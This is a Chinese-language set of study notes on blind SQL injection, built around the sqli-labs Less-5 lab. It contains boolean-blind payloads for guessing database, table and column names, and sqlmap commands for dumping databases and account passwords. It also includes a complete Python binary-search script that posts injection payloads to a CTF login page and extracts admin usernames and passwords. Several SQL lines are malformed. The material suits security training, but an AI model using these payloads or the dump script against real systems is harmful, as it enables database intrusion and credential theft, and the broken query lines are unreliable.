盲注
页面不提供查询成功的结果,没有显示位,以第5关为例:
布尔盲注
猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在 a-z 之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -
猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>111 a 是从 0 开始第几个表,b 是为第几个字符,n 是 ASCII 所对应的十进制数
第一个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
第二个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判断 user 表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23
爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
sqlmap的使用
常规:python sqlmap.py -u"127.0.0.1/sqllabs/Less-5/?id=1"
python sqlmap.py -u"127.0.0.1/sqllabs/Less-5/?id=1" --tables -D security
万能用法(跑数据包),适用于post型
burp抓包保存为1.txt
python sqlmap.py -r “1.txt” #检测注入点是否可用
python sqlmap.py -r “1.txt” --dbs #爆出该mysql中所有数据库名称
python sqlmap.py -r “1.txt” --current-db #web当前使用的数据库
python sqlmap.py -r “1.txt” --current-user #web数据库使用账户
python sqlmap.py -r “1.txt” --users #列出sql所有用户
python sqlmap.py -r “1.txt” --passwords #数据库账户与密码
python sqlmap.py -r “1.txt” --tbales #输出所有的表
python sqlmap.py -r “1.txt” -D --tables #根据数据库名输出所有的表
python sqlmap.py -r “1.txt” -D -T --columns #爆出字段名(列名)
python sqlmap.py -r “1.txt” -D -T -C”username,realname,password” --dump
#指定要爆的字段 -D 数据库名 -T 表名 --threads 线程数,最多为10 --batch 自动选择
被爆出的数据库会生成一个日志文件保存在本地
5到8关代码对比
Less5
Less6
Less7
Less8
拓展:SqlMap参数大全
扩展:盲注二分法脚本
#-*-coding:utf-8-*-
import requests
import time
host = "http://web.jarvisoj.com:32787/login.php"
def getDatabase(): #获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)
param ={"username":payload,"password":"admin"}
res = requests.post(host,data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)
def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host,data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)
def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)
def dumpTable():#脱裤
global host
ans=''
for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
dumpTable()